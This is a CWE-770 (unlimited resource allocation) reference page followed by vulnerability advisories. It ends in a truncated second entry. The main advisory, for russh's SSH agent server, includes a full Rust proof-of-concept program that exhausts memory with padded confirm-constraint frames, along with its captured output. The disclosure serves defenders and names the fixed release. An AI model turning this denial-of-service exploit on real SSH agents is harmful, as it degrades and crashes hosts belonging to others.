CWE-770
Weakness AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
Dimensions
- Behavior-Type: Allocation
- Behavior-Property: Without Limits or Throttling
- Resource-Type: Resources
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Detection methods
Manual Static Analysis
Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.
When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.
Effectiveness: Opportunistic
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.
Automated Static Analysis
Specialized configuration or tuning may be required to train automated tools to recognize this weakness.
Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Notes
Relationship
This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.
Content history
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
updated Related_Attack_Patterns
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updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Observed_Examples, References, Time_of_Introduction
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updated Common_Consequences, Demonstrative_Examples, Related_Attack_Patterns
updated Common_Consequences, Potential_Mitigations, References
updated Demonstrative_Examples, Potential_Mitigations
updated Demonstrative_Examples, Detection_Factors, Relationships
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Related_Attack_Patterns
updated Related_Attack_Patterns
updated Relationships
updated Related_Attack_Patterns
updated Related_Attack_Patterns
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated References
updated Demonstrative_Examples, Description, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
updated Applicable_Platforms, Description, Maintenance_Notes, Potential_Mitigations, Relationship_Notes, Relationships
updated Relationships
updated Observed_Examples
updated Observed_Examples, References
updated Description, Detection_Factors
updated References, Relationships
updated Mapping_Notes
updated Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Observed_Examples, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Demonstrative_Examples, Dimensions
4414 vulnerabilities reference this CWE, most recent first.
GHSA-9WFM-JCJ8-JFV9
Vulnerability from github – Published: 2026-10-30 22:58 – Updated: 2026-10-30 22:58Summary
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.
The SSH agent server that ships with russh (russh::keys::agent::server::serve) parses client key-addition requests and, for each SSH_AGENT_CONSTRAIN_CONFIRM (0x02) record it finds, pushes one Constraint::Confirm value into a per-key vector inside an unbounded loop, then stores the resulting pair permanently in its keystore (russh/src/keys/agent/server.rs:296-303). Neither the constraint vector nor the keystore has a size or count limit: the only boundary is the 256 KiB agent frame cap, and every 1-byte record a client sends becomes a 56-byte enum retained for the life of the process. Any process that can connect to the agent socket - the same trust model the project itself established when fixing a prior advisory about this same request handler - can therefore grow the agent's memory without bound and renew the growth at will: six 256 KiB requests retained 72.4 MiB (about 12.1 MiB per request, a roughly 48-fold amplification) while an equal number of unconstrained key additions retained nothing, measured against the unmodified server through its public API on v0.64.1. The earlier fix for that prior advisory deduplicates only the sibling SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record type and leaves this parallel variant untouched, and since constrained keys never expire the retained memory is never reclaimed.
Details
When a client adds a key with constraints, the server walks the constraint section byte by byte and collects typed values with no upper bound on how many it will accept:
russh/src/keys/agent/server.rs:296-297 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)
} else if t == msg::CONSTRAIN_CONFIRM {
c.push(Constraint::Confirm) // inside the record loop, no length cap
russh/src/keys/agent/server.rs:303-308
- the (key, timestamp, constraints) triple is inserted into the keystore,
and keys without a LIFETIME constraint never expire
The Constraint enum is aligned to its largest variant, so each 1-byte 0x02 record on the wire costs 56 bytes of retained heap, and the frame cap of 256 KiB (server.rs:23,109) is the only thing shaping a single request - the number of requests, and the number of keys in the keystore, are unbounded. The project's fix for its prior agent advisory (commit 4c30503, shipped in 0.64.1) addressed the SSH_AGENT_CONSTRAIN_LIFETIME record by deduplicating lifetime entries and collapsing the per-record timer tasks; the CONSTRAIN_CONFIRM branch in the very same loop was left as-is, so the fixed release still accepts and retains arbitrary amounts of confirm records per key. The privilege model is the one the project used for the prior advisory: any local process able to connect to the agent's listening socket, which in agent-forwarding scenarios includes processes on the remote side of a forwarded session. Both file references are identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the confirm-record handling predates the fork that merged the keys crate, so all released versions are affected.
Proof of concept
The instance is the unmodified russh v0.64.1 agent server started through its public russh::keys::agent::server::serve API inside the PoC process, with the attacker leg and the control leg connecting over an in-process duplex socket exactly as a foreign local client would; the agent handler runs with default configuration and no test hooks. The harness measures live heap with a counting global allocator, generates a fresh Ed25519 key per request, and speaks the real agent framing (4-byte length prefix) with the server's own 256 KiB frame cap. Set the project up with the commands below (the retained run referenced the russh source checked out at tag v0.64.1 via a path dependency and built with the GNU toolchain because the machine lacks MSVC's linker; the crates.io russh@0.64.1 release is the same source and any stable toolchain works; on Windows the built binary carries an .exe extension). The full src/main.rs follows.
cargo new poc_agent_confirm_growth
cd poc_agent_confirm_growth
cargo add russh@0.64.1 tokio --features tokio/full futures@0.3 rand@0.10
cat > src/main.rs <<'EOF'
//! PoC: russh agent server - unbounded persistent memory growth via
//! SSH_AGENT_CONSTRAIN_CONFIRM (0x02) constraint records.
//!
//! Target: russh v0.64.1 (commit e5d80a0), russh/src/keys/agent/server.rs,
//! add_key() -> `c.push(Constraint::Confirm)` inside an unbounded loop, with
//! no cap on the resulting per-key constraint vector and no cap on the number
//! of keys in the keystore.
//!
//! Relationship to GHSA-4wc5-f2rc-q74m (fixed in 0.64.1): that advisory covered
//! the SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record, whose fix (commit 4c30503)
//! deduplicates lifetime records only. The parallel CONFIRM record variant is
//! not covered: each 1-byte 0x02 record retains one 56-byte Constraint enum in
//! the persistent keystore (>=50x amplification, never expires, renewable).
//!
//! Attack model (same as GHSA-4wc5): any local process able to connect to the
//! agent's listening socket. No authentication on the socket by default.
//!
//! The attacker here only uses the socket (tokio duplex); the agent server
//! runs unmodified via the public `russh::keys::agent::server::serve` API.
use std::alloc::{GlobalAlloc, Layout, System};
use std::sync::atomic::{AtomicU64, Ordering};
use futures::stream::once;
use tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream};
static LIVE: AtomicU64 = AtomicU64::new(0);
struct Counting;
unsafe impl GlobalAlloc for Counting {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
let p = System.alloc(layout);
if !p.is_null() {
LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);
}
p
}
unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {
LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);
System.dealloc(p, layout)
}
}
#[global_allocator]
static A: Counting = Counting;
fn live_mb() -> f64 {
LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)
}
fn fresh_key() -> russh::keys::PrivateKey {
russh::keys::ssh_key::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519)
.expect("keygen")
}
const FRAME_MAX: usize = 256 * 1024; // MAX_AGENT_FRAME_LEN in agent/server.rs
fn frame(payload: &[u8]) -> Vec<u8> {
let mut f = Vec::with_capacity(payload.len() + 4);
f.extend_from_slice(&(payload.len() as u32).to_be_bytes());
f.extend_from_slice(payload);
f
}
/// Build one ADD_IDENTITY (17) frame: no constraints (control leg).
fn add_key_plain(key: &russh::keys::PrivateKey) -> Vec<u8> {
use russh::keys::ssh_encoding::Encode;
let mut p = vec![17u8]; // SSH_AGENTC_ADD_IDENTITY
key.key_data().encode(&mut p).unwrap();
Vec::<u8>::new().encode(&mut p).unwrap(); // empty comment
frame(&p)
}
/// Build one ADD_IDENTITY_CONSTRAINED (25) frame whose constraint section is
/// `n` consecutive SSH_AGENT_CONSTRAIN_CONFIRM (0x02) records.
fn add_key_confirm(key: &russh::keys::PrivateKey, n: usize) -> Vec<u8> {
use russh::keys::ssh_encoding::Encode;
let mut p = vec![25u8]; // SSH_AGENTC_ADD_IDENTITY_CONSTRAINED
key.key_data().encode(&mut p).unwrap();
Vec::<u8>::new().encode(&mut p).unwrap(); // empty comment
p.resize(p.len() + n, 0x02);
frame(&p)
}
async fn round(conn: &mut DuplexStream, req: Vec<u8>) -> u8 {
conn.write_all(&req).await.expect("write frame");
let mut resp = [0u8; 5];
conn.read_exact(&mut resp).await.expect("read reply");
resp[4] // SUCCESS(6) / FAILURE(5) after 4-byte length prefix
}
#[tokio::main]
async fn main() {
println!("== poc_agent_confirm_growth ==");
println!(
"target: russh agent server (keys/agent/server.rs), frame cap {} bytes",
FRAME_MAX
);
let (server_side, mut attacker) = tokio::io::duplex(64 * 1024);
let listener = once(Box::pin(async move {
Ok::<_, std::io::Error>(server_side)
}));
tokio::spawn(async move {
let _ = russh::keys::agent::server::serve(listener, ()).await;
});
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
let baseline = live_mb();
println!("baseline allocated: {:.2} MiB", baseline);
// ---- Control leg: same number of frames, unconstrained adds ----
let rounds = 6;
for i in 0..rounds {
let key = fresh_key();
let resp = round(&mut attacker, add_key_plain(&key)).await;
println!(
"CONTROL round {}: unconstrained add, reply byte = {}, live = {:.2} MiB",
i,
resp,
live_mb()
);
}
let after_control = live_mb();
println!(
"CONTROL total delta: {:+.2} MiB after {} unconstrained adds",
after_control - baseline,
rounds
);
// ---- Attack leg: one 0x02-padded constrained add per round ----
for i in 0..rounds {
let key = fresh_key();
// frame budget minus key blob/comment/header; all remaining bytes are
// 1-byte CONFIRM records
let probe = add_key_confirm(&key, 1);
let n_confirms = FRAME_MAX - probe.len();
let resp = round(&mut attacker, add_key_confirm(&key, n_confirms)).await;
println!(
"ATTACK round {}: {}-byte frame with {} CONFIRM records, reply byte = {}, live = {:.2} MiB",
i,
FRAME_MAX,
n_confirms,
resp,
live_mb()
);
}
let after_attack = live_mb();
let attack_delta = after_attack - after_control;
println!(
"ATTACK total delta: {:+.2} MiB after {} constrained adds",
attack_delta, rounds
);
println!(
"per-request amplification: ~{:.1}x (input frame 262144 B -> retained {} B avg)",
attack_delta * 1024.0 * 1024.0 / (rounds as f64) / 262144.0,
((attack_delta * 1024.0 * 1024.0) / rounds as f64) as u64
);
// keys stay in the keystore forever (no lifetime): show retention persists
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
println!(
"after idle wait, live = {:.2} MiB (retained: server keystore still holds every constraint vector)",
live_mb()
);
let verdict_growth = after_attack - after_control;
if verdict_growth > 10.0 {
println!(
"VERDICT: VULNERABLE - attack leg retained {:.1} MiB vs control {:+.2} MiB; {:.1} MiB/round persisted, unbounded and renewable",
verdict_growth,
after_control - baseline,
verdict_growth / rounds as f64
);
} else {
println!(
"VERDICT: NOT REPRODUCED - growth {:.2} MiB below threshold",
verdict_growth
);
}
}
EOF
cargo build --release
./target/release/poc_agent_confirm_growth
Captured output from the running v0.64.1 agent server (verbatim; lines from the retained run log, paths shown relative to the PoC working directory):
$ ./target/release/poc_agent_confirm_growth.exe (built with: cargo +stable-x86_64-pc-windows-gnu build --release)
== poc_agent_confirm_growth ==
target: russh agent server (keys/agent/server.rs), frame cap 262144 bytes
baseline allocated: 0.11 MiB
CONTROL round 0: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 1: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 2: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 3: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 4: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 5: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL total delta: +0.00 MiB after 6 unconstrained adds
ATTACK round 0: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 12.49 MiB
ATTACK round 1: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 24.49 MiB
ATTACK round 2: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 36.49 MiB
ATTACK round 3: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 48.49 MiB
ATTACK round 4: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 60.49 MiB
ATTACK round 5: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 72.49 MiB
ATTACK total delta: +72.38 MiB after 6 constrained adds
per-request amplification: ~48.3x (input frame 262144 B -> retained 12649017 B avg)
after idle wait, live = 72.49 MiB (retained: server keystore still holds every constraint vector)
VERDICT: VULNERABLE - attack leg retained 72.4 MiB vs control +0.00 MiB; 12.1 MiB/round persisted, unbounded and renewable
Output interpretation: the control leg issues the same number of key additions without constraints and the keystore keeps nothing, while each constrained request permanently retains about 12.1 MiB - roughly 48 times its 256 KiB wire size - and the memory is still held after an idle wait, confirming the records are kept for the life of the process rather than tied to the connection. Live-memory readings are instance-specific; the mechanism, per-record retention with no cap on the constraint vector or the keystore, is the stable verdict.
Impact
Unrestricted resource allocation (CWE-770): any process able to reach the agent's socket - a local process, or a remote process on the far side of a forwarded agent - can drive the agent server into unbounded, permanent, renewable memory growth with ordinary-sized requests, degrading and eventually exhausting the host running the agent. The retained memory is never freed because constrained keys never expire, and the sibling lifetime-record fix in the same handler does not touch this path. A fix is to cap the number of constraint records accepted per key (and the number of keys held), reject unknown or duplicate record types, and bound the total memory the keystore may retain.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.65.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116696"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:58:47Z",
"nvd_published_at": "2026-10-27T21:18:05Z",
"severity": "LOW"
},
"details": "### Summary\n\n**All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.**\n\nThe SSH agent server that ships with russh (`russh::keys::agent::server::serve`) parses client key-addition requests and, for each `SSH_AGENT_CONSTRAIN_CONFIRM` (0x02) record it finds, pushes one `Constraint::Confirm` value into a per-key vector inside an unbounded loop, then stores the resulting pair permanently in its keystore (`russh/src/keys/agent/server.rs:296-303`). Neither the constraint vector nor the keystore has a size or count limit: the only boundary is the 256 KiB agent frame cap, and every 1-byte record a client sends becomes a 56-byte enum retained for the life of the process. Any process that can connect to the agent socket - the same trust model the project itself established when fixing a prior advisory about this same request handler - can therefore grow the agent\u0027s memory without bound and renew the growth at will: six 256 KiB requests retained 72.4 MiB (about 12.1 MiB per request, a roughly 48-fold amplification) while an equal number of unconstrained key additions retained nothing, measured against the unmodified server through its public API on v0.64.1. The earlier fix for that prior advisory deduplicates only the sibling `SSH_AGENT_CONSTRAIN_LIFETIME` (0x01) record type and leaves this parallel variant untouched, and since constrained keys never expire the retained memory is never reclaimed.\n\n### Details\n\nWhen a client adds a key with constraints, the server walks the constraint section byte by byte and collects typed values with no upper bound on how many it will accept:\n\n```text\nrussh/src/keys/agent/server.rs:296-297 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)\n } else if t == msg::CONSTRAIN_CONFIRM {\n c.push(Constraint::Confirm) // inside the record loop, no length cap\nrussh/src/keys/agent/server.rs:303-308\n - the (key, timestamp, constraints) triple is inserted into the keystore,\n and keys without a LIFETIME constraint never expire\n```\n\nThe `Constraint` enum is aligned to its largest variant, so each 1-byte `0x02` record on the wire costs 56 bytes of retained heap, and the frame cap of 256 KiB (`server.rs:23,109`) is the only thing shaping a single request - the number of requests, and the number of keys in the keystore, are unbounded. The project\u0027s fix for its prior agent advisory (commit 4c30503, shipped in 0.64.1) addressed the `SSH_AGENT_CONSTRAIN_LIFETIME` record by deduplicating lifetime entries and collapsing the per-record timer tasks; the `CONSTRAIN_CONFIRM` branch in the very same loop was left as-is, so the fixed release still accepts and retains arbitrary amounts of confirm records per key. The privilege model is the one the project used for the prior advisory: any local process able to connect to the agent\u0027s listening socket, which in agent-forwarding scenarios includes processes on the remote side of a forwarded session. Both file references are identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the confirm-record handling predates the fork that merged the keys crate, so all released versions are affected.\n\n### Proof of concept\n\nThe instance is the unmodified russh v0.64.1 agent server started through its public `russh::keys::agent::server::serve` API inside the PoC process, with the attacker leg and the control leg connecting over an in-process duplex socket exactly as a foreign local client would; the agent handler runs with default configuration and no test hooks. The harness measures live heap with a counting global allocator, generates a fresh Ed25519 key per request, and speaks the real agent framing (4-byte length prefix) with the server\u0027s own 256 KiB frame cap. Set the project up with the commands below (the retained run referenced the russh source checked out at tag v0.64.1 via a path dependency and built with the GNU toolchain because the machine lacks MSVC\u0027s linker; the crates.io `russh@0.64.1` release is the same source and any stable toolchain works; on Windows the built binary carries an `.exe` extension). The full `src/main.rs` follows.\n\n```bash\ncargo new poc_agent_confirm_growth\ncd poc_agent_confirm_growth\ncargo add russh@0.64.1 tokio --features tokio/full futures@0.3 rand@0.10\n```\n\n```rust\ncat \u003e src/main.rs \u003c\u003c\u0027EOF\u0027\n//! PoC: russh agent server - unbounded persistent memory growth via\n//! SSH_AGENT_CONSTRAIN_CONFIRM (0x02) constraint records.\n//!\n//! Target: russh v0.64.1 (commit e5d80a0), russh/src/keys/agent/server.rs,\n//! add_key() -\u003e `c.push(Constraint::Confirm)` inside an unbounded loop, with\n//! no cap on the resulting per-key constraint vector and no cap on the number\n//! of keys in the keystore.\n//!\n//! Relationship to GHSA-4wc5-f2rc-q74m (fixed in 0.64.1): that advisory covered\n//! the SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record, whose fix (commit 4c30503)\n//! deduplicates lifetime records only. The parallel CONFIRM record variant is\n//! not covered: each 1-byte 0x02 record retains one 56-byte Constraint enum in\n//! the persistent keystore (\u003e=50x amplification, never expires, renewable).\n//!\n//! Attack model (same as GHSA-4wc5): any local process able to connect to the\n//! agent\u0027s listening socket. No authentication on the socket by default.\n//!\n//! The attacker here only uses the socket (tokio duplex); the agent server\n//! runs unmodified via the public `russh::keys::agent::server::serve` API.\n\nuse std::alloc::{GlobalAlloc, Layout, System};\nuse std::sync::atomic::{AtomicU64, Ordering};\n\nuse futures::stream::once;\nuse tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream};\n\nstatic LIVE: AtomicU64 = AtomicU64::new(0);\n\nstruct Counting;\n\nunsafe impl GlobalAlloc for Counting {\n unsafe fn alloc(\u0026self, layout: Layout) -\u003e *mut u8 {\n let p = System.alloc(layout);\n if !p.is_null() {\n LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);\n }\n p\n }\n unsafe fn dealloc(\u0026self, p: *mut u8, layout: Layout) {\n LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);\n System.dealloc(p, layout)\n }\n}\n\n#[global_allocator]\nstatic A: Counting = Counting;\n\nfn live_mb() -\u003e f64 {\n LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)\n}\n\nfn fresh_key() -\u003e russh::keys::PrivateKey {\n russh::keys::ssh_key::PrivateKey::random(\u0026mut rand::rng(), russh::keys::Algorithm::Ed25519)\n .expect(\"keygen\")\n}\n\nconst FRAME_MAX: usize = 256 * 1024; // MAX_AGENT_FRAME_LEN in agent/server.rs\n\nfn frame(payload: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n let mut f = Vec::with_capacity(payload.len() + 4);\n f.extend_from_slice(\u0026(payload.len() as u32).to_be_bytes());\n f.extend_from_slice(payload);\n f\n}\n\n/// Build one ADD_IDENTITY (17) frame: no constraints (control leg).\nfn add_key_plain(key: \u0026russh::keys::PrivateKey) -\u003e Vec\u003cu8\u003e {\n use russh::keys::ssh_encoding::Encode;\n let mut p = vec![17u8]; // SSH_AGENTC_ADD_IDENTITY\n key.key_data().encode(\u0026mut p).unwrap();\n Vec::\u003cu8\u003e::new().encode(\u0026mut p).unwrap(); // empty comment\n frame(\u0026p)\n}\n\n/// Build one ADD_IDENTITY_CONSTRAINED (25) frame whose constraint section is\n/// `n` consecutive SSH_AGENT_CONSTRAIN_CONFIRM (0x02) records.\nfn add_key_confirm(key: \u0026russh::keys::PrivateKey, n: usize) -\u003e Vec\u003cu8\u003e {\n use russh::keys::ssh_encoding::Encode;\n let mut p = vec![25u8]; // SSH_AGENTC_ADD_IDENTITY_CONSTRAINED\n key.key_data().encode(\u0026mut p).unwrap();\n Vec::\u003cu8\u003e::new().encode(\u0026mut p).unwrap(); // empty comment\n p.resize(p.len() + n, 0x02);\n frame(\u0026p)\n}\n\nasync fn round(conn: \u0026mut DuplexStream, req: Vec\u003cu8\u003e) -\u003e u8 {\n conn.write_all(\u0026req).await.expect(\"write frame\");\n let mut resp = [0u8; 5];\n conn.read_exact(\u0026mut resp).await.expect(\"read reply\");\n resp[4] // SUCCESS(6) / FAILURE(5) after 4-byte length prefix\n}\n\n#[tokio::main]\nasync fn main() {\n println!(\"== poc_agent_confirm_growth ==\");\n println!(\n \"target: russh agent server (keys/agent/server.rs), frame cap {} bytes\",\n FRAME_MAX\n );\n\n let (server_side, mut attacker) = tokio::io::duplex(64 * 1024);\n let listener = once(Box::pin(async move {\n Ok::\u003c_, std::io::Error\u003e(server_side)\n }));\n tokio::spawn(async move {\n let _ = russh::keys::agent::server::serve(listener, ()).await;\n });\n tokio::time::sleep(std::time::Duration::from_millis(200)).await;\n\n let baseline = live_mb();\n println!(\"baseline allocated: {:.2} MiB\", baseline);\n\n // ---- Control leg: same number of frames, unconstrained adds ----\n let rounds = 6;\n for i in 0..rounds {\n let key = fresh_key();\n let resp = round(\u0026mut attacker, add_key_plain(\u0026key)).await;\n println!(\n \"CONTROL round {}: unconstrained add, reply byte = {}, live = {:.2} MiB\",\n i,\n resp,\n live_mb()\n );\n }\n let after_control = live_mb();\n println!(\n \"CONTROL total delta: {:+.2} MiB after {} unconstrained adds\",\n after_control - baseline,\n rounds\n );\n\n // ---- Attack leg: one 0x02-padded constrained add per round ----\n for i in 0..rounds {\n let key = fresh_key();\n // frame budget minus key blob/comment/header; all remaining bytes are\n // 1-byte CONFIRM records\n let probe = add_key_confirm(\u0026key, 1);\n let n_confirms = FRAME_MAX - probe.len();\n let resp = round(\u0026mut attacker, add_key_confirm(\u0026key, n_confirms)).await;\n println!(\n \"ATTACK round {}: {}-byte frame with {} CONFIRM records, reply byte = {}, live = {:.2} MiB\",\n i,\n FRAME_MAX,\n n_confirms,\n resp,\n live_mb()\n );\n }\n let after_attack = live_mb();\n let attack_delta = after_attack - after_control;\n println!(\n \"ATTACK total delta: {:+.2} MiB after {} constrained adds\",\n attack_delta, rounds\n );\n println!(\n \"per-request amplification: ~{:.1}x (input frame 262144 B -\u003e retained {} B avg)\",\n attack_delta * 1024.0 * 1024.0 / (rounds as f64) / 262144.0,\n ((attack_delta * 1024.0 * 1024.0) / rounds as f64) as u64\n );\n\n // keys stay in the keystore forever (no lifetime): show retention persists\n tokio::time::sleep(std::time::Duration::from_secs(2)).await;\n println!(\n \"after idle wait, live = {:.2} MiB (retained: server keystore still holds every constraint vector)\",\n live_mb()\n );\n\n let verdict_growth = after_attack - after_control;\n if verdict_growth \u003e 10.0 {\n println!(\n \"VERDICT: VULNERABLE - attack leg retained {:.1} MiB vs control {:+.2} MiB; {:.1} MiB/round persisted, unbounded and renewable\",\n verdict_growth,\n after_control - baseline,\n verdict_growth / rounds as f64\n );\n } else {\n println!(\n \"VERDICT: NOT REPRODUCED - growth {:.2} MiB below threshold\",\n verdict_growth\n );\n }\n}\nEOF\ncargo build --release\n./target/release/poc_agent_confirm_growth\n```\n\nCaptured output from the running v0.64.1 agent server (verbatim; lines from the retained run log, paths shown relative to the PoC working directory):\n\n```\n$ ./target/release/poc_agent_confirm_growth.exe (built with: cargo +stable-x86_64-pc-windows-gnu build --release)\n== poc_agent_confirm_growth ==\ntarget: russh agent server (keys/agent/server.rs), frame cap 262144 bytes\nbaseline allocated: 0.11 MiB\nCONTROL round 0: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 1: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 2: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 3: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 4: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 5: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL total delta: +0.00 MiB after 6 unconstrained adds\nATTACK round 0: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 12.49 MiB\nATTACK round 1: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 24.49 MiB\nATTACK round 2: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 36.49 MiB\nATTACK round 3: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 48.49 MiB\nATTACK round 4: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 60.49 MiB\nATTACK round 5: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 72.49 MiB\nATTACK total delta: +72.38 MiB after 6 constrained adds\nper-request amplification: ~48.3x (input frame 262144 B -\u003e retained 12649017 B avg)\nafter idle wait, live = 72.49 MiB (retained: server keystore still holds every constraint vector)\nVERDICT: VULNERABLE - attack leg retained 72.4 MiB vs control +0.00 MiB; 12.1 MiB/round persisted, unbounded and renewable\n```\n\nOutput interpretation: the control leg issues the same number of key additions without constraints and the keystore keeps nothing, while each constrained request permanently retains about 12.1 MiB - roughly 48 times its 256 KiB wire size - and the memory is still held after an idle wait, confirming the records are kept for the life of the process rather than tied to the connection. Live-memory readings are instance-specific; the mechanism, per-record retention with no cap on the constraint vector or the keystore, is the stable verdict.\n\n### Impact\n\nUnrestricted resource allocation (CWE-770): any process able to reach the agent\u0027s socket - a local process, or a remote process on the far side of a forwarded agent - can drive the agent server into unbounded, permanent, renewable memory growth with ordinary-sized requests, degrading and eventually exhausting the host running the agent. The retained memory is never freed because constrained keys never expire, and the sibling lifetime-record fix in the same handler does not touch this path. A fix is to cap the number of constraint records accepted per key (and the number of keys held), reject unknown or duplicate record types, and bound the total memory the keystore may retain.",
"id": "GHSA-9wfm-jcj8-jfv9",
"modified": "2026-10-30T22:58:48Z",
"published": "2026-10-30T22:58:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116696"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/23aa5d28fe9601c5bdfe9e60b7ec5d4f882c3de6"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.65.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "russh\u0027s SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages"
}
GHSA-9WHJ-H4PV-M99C
Vulnerability from github – Published: 2025-01-14 03:31 – Updated: 2025-01-23 18:31An issue in the sqlg_hash_source component of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
{
"affected": [],
"aliases": [
"CVE-2024-57662"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T01:15:15Z",
"severity": "HIGH"
},
"details": "An issue in the sqlg_hash_source component of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.",
